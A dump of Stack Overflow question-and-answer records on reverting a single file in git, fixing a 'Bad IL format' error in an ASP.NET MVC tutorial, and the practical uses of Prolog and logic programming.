"text": "<p><strong>You can do it in 4 steps:</strong></p>\n\n<ol>\n<li>revert the entire commit with the file you want to specifically revert - it will create a new commit on your branch</li>\n<li>soft reset that commit - removes the commit and moves the changes to the working area</li>\n<li>handpick the files to revert and commit them</li>\n<li>drop all other files in your work area</li>\n</ol>\n\n<p><strong>What you need to type in your terminal</strong>:</p>\n\n<ol>\n<li><code>git revert <commit_hash></code></li>\n<li><code>git reset HEAD~1</code></li>\n<li><code>git add <file_i_want_to_revert></code> && <code>git commit -m 'reverting file'</code></li>\n<li><code>git checkout .</code></li>\n</ol>\n\n<p>good luck</p>\n"
},
{
"answer_id": 51983025,
"author": "saber tabatabaee yazdi",
"author_id": 308578,
"author_profile": "https://Stackoverflow.com/users/308578",
"pm_score": 3,
"selected": false,
"text": "<p>if you commit a wrong file in your last commits follow the instruction :</p>\n\n<ol>\n<li>open source tree, change to this commit</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/ag9HP.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/ag9HP.png\" alt=\"open source tree\"></a></p>\n\n<ol start=\"2\">\n<li>change the lines and find your commit that the wrong file sent as commit</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/0990p.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/0990p.png\" alt=\"enter image description here\"></a></p>\n\n<ol start=\"3\">\n<li>you can see the list of your changes in that commit\n<a href=\"https://i.stack.imgur.com/uFU1E.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/uFU1E.png\" alt=\"list of files in the source tree\"></a></li>\n<li>select it and then click on ... buttons right-hand side ... click reverse file</li>\n<li>then you can see it on file status tab at the bottom left-hand side \nthen click unstage:</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/VOhZZ.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/VOhZZ.png\" alt=\"file status tab\"></a></p>\n\n<ol start=\"6\">\n<li>open your visual studio code and revert back by committing your removed files</li>\n<li>after them all, you can see results in your last commit in the source tree</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/3gpgo.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/3gpgo.png\" alt=\"enter image description here\"></a></p>\n"
},
{
"answer_id": 54352201,
"author": "Abhishek Dwivedi",
"author_id": 6146338,
"author_profile": "https://Stackoverflow.com/users/6146338",
"pm_score": 4,
"selected": false,
"text": "<p>This is a very simple step. Checkout file to the commit id we want, here one commit id before, and then just git commit amend and we are done.</p>\n\n<pre><code># git checkout <previous commit_id> <file_name>\n# git commit --amend\n</code></pre>\n\n<p>This is very handy. If we want to bring any file to any prior commit id at the top of commit, we can easily do.</p>\n"
},
{
"answer_id": 54550311,
"author": "ireshika piyumalie",
"author_id": 5567429,
"author_profile": "https://Stackoverflow.com/users/5567429",
"pm_score": 5,
"selected": false,
"text": "<ol>\n<li>Git revert file to a specific commit</li>\n</ol>\n\n<blockquote>\n<pre><code>git checkout Last_Stable_commit_Number -- fileName\n</code></pre>\n</blockquote>\n\n<p>2.Git revert file to a specific branch</p>\n\n<blockquote>\n<pre><code>git checkout branchName_Which_Has_stable_Commit fileName\n</code></pre>\n</blockquote>\n"
},
{
"answer_id": 57676529,
"author": "mjarosie",
"author_id": 3088888,
"author_profile": "https://Stackoverflow.com/users/3088888",
"pm_score": 7,
"selected": false,
"text": "<p>As of git v2.23.0 there's a new <a href=\"https://git-scm.com/docs/git-restore/2.23.0\" rel=\"noreferrer\">git restore</a> method which is supposed to assume part of what <code>git checkout</code> was responsible for (even the accepted answer mentions that <code>git checkout</code> is quite confusing). See highlights of changes on <a href=\"https://github.blog/2019-08-16-highlights-from-git-2-23/\" rel=\"noreferrer\">github blog</a>.</p>\n\n<p>The default behaviour of this command is to restore the state of a working tree with the content coming from the <code>source</code> parameter (which in your case will be a commit hash).</p>\n\n<p>So based on Greg Hewgill's answer (assuming the commit hash is <code>c5f567</code>) the command would look like this:</p>\n\n<pre><code>git restore --source=c5f567 file1/to/restore file2/to/restore\n</code></pre>\n\n<p>Or if you want to restore to the content of one commit before c5f567:</p>\n\n<pre><code>git restore --source=c5f567~1 file1/to/restore file2/to/restore\n</code></pre>\n"
},
{
"answer_id": 67104511,
"author": "Dev-lop-er",
"author_id": 9792530,
"author_profile": "https://Stackoverflow.com/users/9792530",
"pm_score": -1,
"selected": false,
"text": "<ul>\n<li><strong>Run the following command that does a soft reset and the changes comes to your local.</strong></li>\n</ul>\n<pre><code>git reset --soft HEAD^1\n</code></pre>\n<ul>\n<li><strong>See the status of files that you previously committed that comes to\nyour local and then make the change.</strong></li>\n</ul>\n<pre><code> git status\n</code></pre>\n<ul>\n<li><p><strong>Commit and push the file after making the changes</strong>.</p>\n</li>\n<li><p><strong>Previous commit history for the wrong committed files will not be\nshown</strong></p>\n</li>\n</ul>\n<p>Before pulling from origin always have pruning (Optional Step)</p>\n<pre class=\"lang-cs prettyprint-override\"><code> git remote prune origin\n\n</code></pre>\n"
},
{
"answer_id": 69237447,
"author": "user1034533",
"author_id": 1034533,
"author_profile": "https://Stackoverflow.com/users/1034533",
"pm_score": -1,
"selected": false,
"text": "<p>For files 'a.txt', 'b.txt', 'c.txt':</p>\n<ol>\n<li><p><code>git revert -n <commit></code> (e.g. <code>git revert -n HEAD</code> to revert the last commit). This will prepare (but not commit!) and stage all the changes to undo a specific commit</p>\n</li>\n<li><p><code>git reset</code>. This will unstage all the reverse changes so you can manually add the files you want changed back.</p>\n</li>\n<li><p><code>git add a.txt b.txt c.txt</code>. This adds the files you want to undo changes to to your new commit.</p>\n</li>\n<li><p><code>git commit -m 'Undo <commit> for a.txt, b.txt, c.txt'</code>. Commit the actual changes</p>\n</li>\n<li><p><code>git reset --hard</code>. Get rid of anything you don't want undone.</p>\n</li>\n</ol>\n"
},
{
"answer_id": 71530153,
"author": "Valeriy K.",
"author_id": 7804595,
"author_profile": "https://Stackoverflow.com/users/7804595",
"pm_score": 3,
"selected": false,
"text": "<pre><code>git log --oneline // you see commits, find commit hash to which you want reset\ngit diff y0urhash src/main/.../../YourFile.java // to see difference\ngit reset y0urhash src/main/.../../YourFile.java // revert to y0urhash commit\ngit status // check files to commit\ngit commit -m "your commit message"\ngit push origin\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215718",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3410/"
] |
How do I revert a modified file to its previous revision at a specific commit hash (which I determined via [`git log`](https://git-scm.com/docs/git-log) and [`git diff`](https://git-scm.com/docs/git-diff))?
|
Assuming the hash of the commit you want is `c5f567`:
```
git checkout c5f567 -- file1/to/restore file2/to/restore
```
The [git checkout](https://git-scm.com/docs/git-checkout) man page gives more information.
If you want to revert to the commit before `c5f567`, append `~1` (where 1 is the number of commits you want to go back, it can be anything):
```
git checkout c5f567~1 -- file1/to/restore file2/to/restore
```
As a side note, I've always been uncomfortable with this command because it's used for both ordinary things (changing between branches) and unusual, destructive things (discarding changes in the working directory).
---
There is also a new [`git restore`](https://git-scm.com/docs/git-restore) command that is specifically designed for restoring working copy files that have been modified. If your git is new enough you can use this command, but the documentation comes with a warning:
>
> THIS COMMAND IS EXPERIMENTAL. THE BEHAVIOR MAY CHANGE.
>
>
>
|
215,719 |
<p>I'm following the <a href="http://www.asp.net/learn/mvc-videos/video-395.aspx" rel="nofollow noreferrer">ASP.Net MVC "TaskList" example video</a> and on clicking Run in Visual Studio (~14:00 min into the video) I'm getting the following error message in the browser:</p>
<pre><code>Server Error in '/' Application.
Bad IL format.
Description: An unhandled exception occurred during the execution of the
current webrequest. Please review the stack trace for more information
about the error andwhere it originated in the code.
Exception Details: System.BadImageFormatException: Bad IL format.
Source Error:
Line 12: ' (2) URL with parameters
Line 13: ' (3) Parameter defaults
Line 14: routes.MapRoute( _
Line 15: "Default", _
Line 16: "{controller}/{action}/{id}", _
Source File: C:\Users\...\TaskList\TaskList\Global.asax.vb Line: 14
Stack Trace:
[BadImageFormatException: Bad IL format.]
VB$AnonymousType_0`3..ctor(T0 controller, T1 action, T2 id) +0
TaskList.MvcApplication.RegisterRoutes(RouteCollection routes) in
C:\Users\...\TaskList\TaskList\Global.asax.vb:14
TaskList.MvcApplication.Application_Start() in
C:\Users\...\TaskList\TaskList\Global.asax.vb:23
Version Information:
Microsoft .NET Framework Version:2.0.50727.1434;
ASP.NET Version:2.0.50727.1434
</code></pre>
<p>I've double-checked the code I've typed in, what am I missing?</p>
<p>Thank you!</p>
<p>Versions:</p>
<ul>
<li>ASP.Net MVC Beta (16th October 2008)</li>
<li>Visual Studion 2008 (9.0.21022.8 RTM)</li>
<li>Vista Ultimate SP1</li>
<li>IIS 7.0.6000.16386</li>
</ul>
|
[
{
"answer_id": 216512,
"author": "Nick Berardi",
"author_id": 17,
"author_profile": "https://Stackoverflow.com/users/17",
"pm_score": 0,
"selected": false,
"text": "<p>It seems to have something to do with your anonymous type on Line 17. Make sure you code looks like</p>\n\n<pre><code>routes.MapRoute( _\n \"Default\", _\n \"{controller}/{action}/{id}\", _\n New With { .controller = \"Home\", .action = \"Index\" }\n)\n</code></pre>\n\n<p>If you need any further help please post your routes in Application_Start</p>\n"
},
{
"answer_id": 216670,
"author": "MichaelGG",
"author_id": 27012,
"author_profile": "https://Stackoverflow.com/users/27012",
"pm_score": 1,
"selected": false,
"text": "<p>Very interesting. Could you upload the full source or compiled DLL (might have to get it out of the temporary ASP.NET folder)? I highly doubt the VB compiler should generate invalid IL under any circumstance - so you might have hit a bug in the compiler.</p>\n"
},
{
"answer_id": 219769,
"author": "Andrew",
"author_id": 5662,
"author_profile": "https://Stackoverflow.com/users/5662",
"pm_score": 3,
"selected": true,
"text": "<p><em>D'oh!</em></p>\n\n<p>Found the problem, it's in the <code>HomeController.vb</code>:</p>\n\n<pre><code>Public Class HomeController\n Inherits System.Web.Mvc.Controller\n\n ' Display a list of tasks\n Function Index()\n Return View()\n End Function\n\n ' Dislpay a form for creating a new task\n Function Create() As ActionResult\n Return View()\n End Function\n\n ' Adding a new task to the database\n Function CreateNew(ByVal task As String) As ActionResult\n ' add the new task to the database\n Return RedirectToAction(\"Index\")\n End Function\n\n ' Mark a task as complete\n Function Complete()\n ' database logic\n Return RedirectToAction(\"Index\")\n End Function\n\nEnd Class\n</code></pre>\n\n<p>the <code>Function Complete()</code> is missing the return type, it should read:</p>\n\n<pre><code> ' Mark a task as complete\n Function Complete() As ActionResult\n ' database logic\n Return RedirectToAction(\"Index\")\n End Function\n</code></pre>\n\n<p>Thanks for the suggestions, I guess I need to tripple-check my code next time!</p>\n\n<p>(though it would be nice if the compiler pointed to my code, rather than the <code>Global.asax.vb</code>, which made me think this was a configuration issue)</p>\n"
},
{
"answer_id": 40182162,
"author": "Tayyebi",
"author_id": 3847552,
"author_profile": "https://Stackoverflow.com/users/3847552",
"pm_score": 0,
"selected": false,
"text": "<p>An <code>app.UseMvc();</code> without inputs or duplicated one in <code>Startup.cs</code> can cause the problem.</p>\n\n<p>True:</p>\n\n<pre><code> app.UseMvc(routes =>\n {\n routes.MapRoute(\n name: \"default\",\n template: \"{controller=Home}/{action=Index}/{id?}\");\n });\n</code></pre>\n\n<p>False:</p>\n\n<pre><code> app.UseMvc();\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215719",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5662/"
] |
I'm following the [ASP.Net MVC "TaskList" example video](http://www.asp.net/learn/mvc-videos/video-395.aspx) and on clicking Run in Visual Studio (~14:00 min into the video) I'm getting the following error message in the browser:
```
Server Error in '/' Application.
Bad IL format.
Description: An unhandled exception occurred during the execution of the
current webrequest. Please review the stack trace for more information
about the error andwhere it originated in the code.
Exception Details: System.BadImageFormatException: Bad IL format.
Source Error:
Line 12: ' (2) URL with parameters
Line 13: ' (3) Parameter defaults
Line 14: routes.MapRoute( _
Line 15: "Default", _
Line 16: "{controller}/{action}/{id}", _
Source File: C:\Users\...\TaskList\TaskList\Global.asax.vb Line: 14
Stack Trace:
[BadImageFormatException: Bad IL format.]
VB$AnonymousType_0`3..ctor(T0 controller, T1 action, T2 id) +0
TaskList.MvcApplication.RegisterRoutes(RouteCollection routes) in
C:\Users\...\TaskList\TaskList\Global.asax.vb:14
TaskList.MvcApplication.Application_Start() in
C:\Users\...\TaskList\TaskList\Global.asax.vb:23
Version Information:
Microsoft .NET Framework Version:2.0.50727.1434;
ASP.NET Version:2.0.50727.1434
```
I've double-checked the code I've typed in, what am I missing?
Thank you!
Versions:
* ASP.Net MVC Beta (16th October 2008)
* Visual Studion 2008 (9.0.21022.8 RTM)
* Vista Ultimate SP1
* IIS 7.0.6000.16386
|
*D'oh!*
Found the problem, it's in the `HomeController.vb`:
```
Public Class HomeController
Inherits System.Web.Mvc.Controller
' Display a list of tasks
Function Index()
Return View()
End Function
' Dislpay a form for creating a new task
Function Create() As ActionResult
Return View()
End Function
' Adding a new task to the database
Function CreateNew(ByVal task As String) As ActionResult
' add the new task to the database
Return RedirectToAction("Index")
End Function
' Mark a task as complete
Function Complete()
' database logic
Return RedirectToAction("Index")
End Function
End Class
```
the `Function Complete()` is missing the return type, it should read:
```
' Mark a task as complete
Function Complete() As ActionResult
' database logic
Return RedirectToAction("Index")
End Function
```
Thanks for the suggestions, I guess I need to tripple-check my code next time!
(though it would be nice if the compiler pointed to my code, rather than the `Global.asax.vb`, which made me think this was a configuration issue)
|
215,742 |
<p><em>By Logic Programming I mean the a sub-paradigm of declarative programming languages. Don't confuse this question with "What problems can you solve with if-then-else?"</em></p>
<p>A language like Prolog is very fascinating, and it's worth learning for the sake of learning, but I have to wonder what class of real-world problems is best expressed and solved by such a language. Are there better languages? Does logic programming exist by another name in more trendy programming languages? Is the cynical version of the answer a variant of the <a href="http://www.paulgraham.com/pypar.html" rel="noreferrer">Python Paradox</a>?</p>
|
[
{
"answer_id": 215877,
"author": "Lou Franco",
"author_id": 3937,
"author_profile": "https://Stackoverflow.com/users/3937",
"pm_score": 3,
"selected": false,
"text": "<p>One of the things Prolog gives you for free is a backtracking search algorithm -- you could implement it yourself, but if your problem is best solved by having that algorithm available, then it's nice to use it.</p>\n\n<p>The two things I've seen it be good at is mathematical proofs and natural language understanding.</p>\n"
},
{
"answer_id": 216302,
"author": "Aleksandar Dimitrov",
"author_id": 11797,
"author_profile": "https://Stackoverflow.com/users/11797",
"pm_score": 6,
"selected": true,
"text": "<p><em>Prototyping</em>. </p>\n\n<p>Prolog is dynamic and has been for 50 years. The compiler is liberal, the syntax minimalist, and \"doing stuff\" is easy, fun and efficient. SWI-Prolog has a built-in <a href=\"https://www.swi-prolog.org/pldoc/man?section=debugoverview\" rel=\"nofollow noreferrer\">tracer (debugger!)</a>, and even a <a href=\"https://www.swi-prolog.org/pldoc/doc_for?object=section(2,%273.5%27,swi(%27/doc/Manual/guitracer.html%27))\" rel=\"nofollow noreferrer\">graphical tracer</a>. You can change the code on the fly, using <code>make/0</code>, you can dynamically load modules, add a few lines of code without leaving the interpreter, or edit the file you're currently running on the fly with <code>edit(1)</code>. Do you think you've found a problem with the <code>foobar/2</code> predicate?</p>\n\n<pre><code>?- edit(foobar).\n</code></pre>\n\n<p>And as soon as you leave the editor, that thing is going to be re-compiled. Sure, Eclipse does the same thing for Java, but Java isn't exactly a prototyping language.</p>\n\n<p>Apart from the pure prototyping stuff, Prolog is incredibly well suited for <em>translating a piece of logic into code</em>. So, automatic provers and that type of stuff can easily be written in Prolog.</p>\n\n<p>The first Erlang interpreter was written in Prolog - and for a reason, since <em>Prolog is very well suited for parsing, and encoding the logic you find in parse trees</em>. In fact, Prolog comes with a built-in parser! No, not a library, it's in the syntax, namely <a href=\"http://www.amzi.com/manuals/amzi/pro/ref_dcg.htm\" rel=\"nofollow noreferrer\">DCG</a>s.</p>\n\n<p>Prolog is <em>used a lot in NLP, particularly in syntax and computational semantics</em>.</p>\n\n<p>But, Prolog is underused and underappreciated. Unfortunately, it seems to bear an academic or \"unusable for any real purpose\" stigma. But it can be put to very good use in many real-world applications involving facts and the computation of relations between facts. It is not very well suited for number crunching, but CS is not only about number crunching.</p>\n"
},
{
"answer_id": 221684,
"author": "Vincent Ramdhanie",
"author_id": 27439,
"author_profile": "https://Stackoverflow.com/users/27439",
"pm_score": 3,
"selected": false,
"text": "<p>Prolog is ideal for non-numeric problems. This <a href=\"http://www.ddj.com/architect/184405220\" rel=\"noreferrer\">article</a> gives a few examples of some applications of Prolog and it might help you understand the type of problems that it might solve.</p>\n"
},
{
"answer_id": 221708,
"author": "Brian",
"author_id": 18192,
"author_profile": "https://Stackoverflow.com/users/18192",
"pm_score": 3,
"selected": false,
"text": "<p>Prolog is great at solving puzzles and the like. That said, in the domain of puzzle-solving it makes easy/medium puzzle-solving easier and complicated puzzle solving harder. Still, writing solvers for grid puzzles and the like such as Hexiom, Sudoku, or Nurikabe is not especially tough.</p>\n"
},
{
"answer_id": 284916,
"author": "mipadi",
"author_id": 28804,
"author_profile": "https://Stackoverflow.com/users/28804",
"pm_score": 2,
"selected": false,
"text": "<p>One simple answer is \"build systems\". The language used to build Makefiles (at least, the part to describe dependencies) is essentially a logic programming language, although not really a \"pure\" logic programming language.</p>\n"
},
{
"answer_id": 10012605,
"author": "Guy Coder",
"author_id": 1243762,
"author_profile": "https://Stackoverflow.com/users/1243762",
"pm_score": 4,
"selected": false,
"text": "<p>Since Prolog = <a href=\"http://en.wikipedia.org/wiki/Unification_(computer_science)\" rel=\"noreferrer\">Syntactic Unification</a> + <a href=\"http://en.wikipedia.org/wiki/Backward_chaining\" rel=\"noreferrer\">Backward chaining</a> + <a href=\"http://en.wikipedia.org/wiki/Read%E2%80%93eval%E2%80%93print_loop\" rel=\"noreferrer\">REPL</a>,</p>\n\n<p>most places where syntactic unification is used is also a good use for Prolog.</p>\n\n<blockquote>\n <p>Syntactic unification uses</p>\n \n <ul>\n <li>AST transformations</li>\n <li>Type Inference</li>\n <li>Term rewriting</li>\n <li>Theorem proving</li>\n <li>Natural language processing</li>\n <li>Pattern matching</li>\n <li>Combinatorial test case generation</li>\n <li>Extract sub structures from structured data such as an XML document</li>\n <li>Symbolic computation i.e. calculus</li>\n <li>Deductive databases</li>\n <li>Expert systems </li>\n <li>Artificial Intelligence</li>\n <li>Parsing</li>\n <li>Query languages</li>\n </ul>\n</blockquote>\n"
},
{
"answer_id": 40081135,
"author": "mat",
"author_id": 1613573,
"author_profile": "https://Stackoverflow.com/users/1613573",
"pm_score": 3,
"selected": false,
"text": "<h1>Constraint Logic Programming (CLP)</h1>\n\n<p>Many very good and well-suited use cases of logic programming have already been mentioned. I would like to complement the existing list with several tasks from an extremely important application area of logic programming:</p>\n\n<p>Logic programming blends seamlessly, more seamlessly than other paradigms, with <em>constraints</em>, resulting in a framework called <strong>Constraint Logic Programming</strong>.</p>\n\n<p>This leads to dedicated constraint solvers for different <em>domains</em>, such as:</p>\n\n<ul>\n<li><strong>CLP(FD)</strong> for <strong>integers</strong></li>\n<li><strong>CLP(B)</strong> for <strong>Booleans</strong></li>\n<li><strong>CLP(Q)</strong> for <strong>rational</strong> numbers</li>\n<li><strong>CLP(R)</strong> for <strong>floating point</strong> numbers.</li>\n</ul>\n\n<p>These dedicated constraint solvers lead to several important use cases of logic programming that have not yeen been mentioned, some of which I show below.</p>\n\n<p>When choosing a Prolog system, the power and performance of its constraint solvers are often among the deciding factors, especially for commercial users.</p>\n\n<h2>CLP(FD) — Reasoning over integers</h2>\n\n<p>In practice, CLP(FD) is one of the most imporant applications of logic programming, and is used to solve tasks from the following areas, among others:</p>\n\n<blockquote>\n <ul>\n <li><strong>scheduling</strong></li>\n <li><strong>resource allocation</strong></li>\n <li><strong>planning</strong></li>\n <li><strong>combinatorial optimization</strong></li>\n </ul>\n</blockquote>\n\n<p>See <strong><a href=\"/questions/tagged/clpfd\" class=\"post-tag\" title=\"show questions tagged 'clpfd'\" rel=\"tag\">clpfd</a></strong> for more information and several examples.</p>\n\n<h2>CLP(B) — Boolean constraints</h2>\n\n<p>CLP(B) is often used in connection with:</p>\n\n<blockquote>\n <ul>\n <li><strong>SAT solving</strong></li>\n <li><strong>circuit verification</strong></li>\n <li><strong>combinatorial counting</strong></li>\n </ul>\n</blockquote>\n\n<p>See <a href=\"/questions/tagged/clpb\" class=\"post-tag\" title=\"show questions tagged 'clpb'\" rel=\"tag\">clpb</a>.</p>\n\n<h2>CLP(Q) — Rational numbers</h2>\n\n<p>CLP(Q) is used to solve important classes of problems arising in <strong>Operations Research</strong>:</p>\n\n<blockquote>\n <ul>\n <li><strong>linear programming</strong></li>\n <li><strong>integer linear programming</strong></li>\n <li><strong>mixed integer linear programming</strong></li>\n </ul>\n</blockquote>\n\n<p>See <a href=\"/questions/tagged/clpq\" class=\"post-tag\" title=\"show questions tagged 'clpq'\" rel=\"tag\">clpq</a>.</p>\n"
},
{
"answer_id": 63567675,
"author": "peter.cyc",
"author_id": 1310417,
"author_profile": "https://Stackoverflow.com/users/1310417",
"pm_score": 0,
"selected": false,
"text": "<p>Yes, <a href=\"https://en.wikipedia.org/wiki/Prolog\" rel=\"nofollow noreferrer\">Prolog has been around since 1972</a>. It was invented by Alain Colmerauer with Philippe Roussel, based on Robert Kowalski's procedural interpretation of Horn clauses. Alain was a French computer scientist and professor at Aix-Marseille University from 1970 to 1995.</p>\n<p>And Alain invented it to <strong>analyse Natural Language</strong>. Several successful prototypes were created by him and his "followers".</p>\n<ul>\n<li>His own system Orbis to understand questions in English and French about the solar system. See his <a href=\"http://alain.colmerauer.free.fr/\" rel=\"nofollow noreferrer\">personal site</a>.</li>\n<li>Warren and Pereira's system <a href=\"https://dl.acm.org/doi/10.5555/972942.972944\" rel=\"nofollow noreferrer\">Chat80</a> QA on world geography.</li>\n<li>Today, <a href=\"https://en.wikipedia.org/wiki/Watson_(computer)\" rel=\"nofollow noreferrer\">IBM Watson</a> is a contempory QA based on logic with a huge dose of statistics about real world phrases.</li>\n</ul>\n<p>So you can imagine that's where it's strength is.</p>\n<p>Retired in 2006, he remained active until he died in 2017. He was named Chevalier de la Legion d’Honneur by the French government in 1986.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215742",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18446/"
] |
*By Logic Programming I mean the a sub-paradigm of declarative programming languages. Don't confuse this question with "What problems can you solve with if-then-else?"*
A language like Prolog is very fascinating, and it's worth learning for the sake of learning, but I have to wonder what class of real-world problems is best expressed and solved by such a language. Are there better languages? Does logic programming exist by another name in more trendy programming languages? Is the cynical version of the answer a variant of the [Python Paradox](http://www.paulgraham.com/pypar.html)?
|
*Prototyping*.
Prolog is dynamic and has been for 50 years. The compiler is liberal, the syntax minimalist, and "doing stuff" is easy, fun and efficient. SWI-Prolog has a built-in [tracer (debugger!)](https://www.swi-prolog.org/pldoc/man?section=debugoverview), and even a [graphical tracer](https://www.swi-prolog.org/pldoc/doc_for?object=section(2,%273.5%27,swi(%27/doc/Manual/guitracer.html%27))). You can change the code on the fly, using `make/0`, you can dynamically load modules, add a few lines of code without leaving the interpreter, or edit the file you're currently running on the fly with `edit(1)`. Do you think you've found a problem with the `foobar/2` predicate?
```
?- edit(foobar).
```
And as soon as you leave the editor, that thing is going to be re-compiled. Sure, Eclipse does the same thing for Java, but Java isn't exactly a prototyping language.
Apart from the pure prototyping stuff, Prolog is incredibly well suited for *translating a piece of logic into code*. So, automatic provers and that type of stuff can easily be written in Prolog.
The first Erlang interpreter was written in Prolog - and for a reason, since *Prolog is very well suited for parsing, and encoding the logic you find in parse trees*. In fact, Prolog comes with a built-in parser! No, not a library, it's in the syntax, namely [DCG](http://www.amzi.com/manuals/amzi/pro/ref_dcg.htm)s.
Prolog is *used a lot in NLP, particularly in syntax and computational semantics*.
But, Prolog is underused and underappreciated. Unfortunately, it seems to bear an academic or "unusable for any real purpose" stigma. But it can be put to very good use in many real-world applications involving facts and the computation of relations between facts. It is not very well suited for number crunching, but CS is not only about number crunching.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.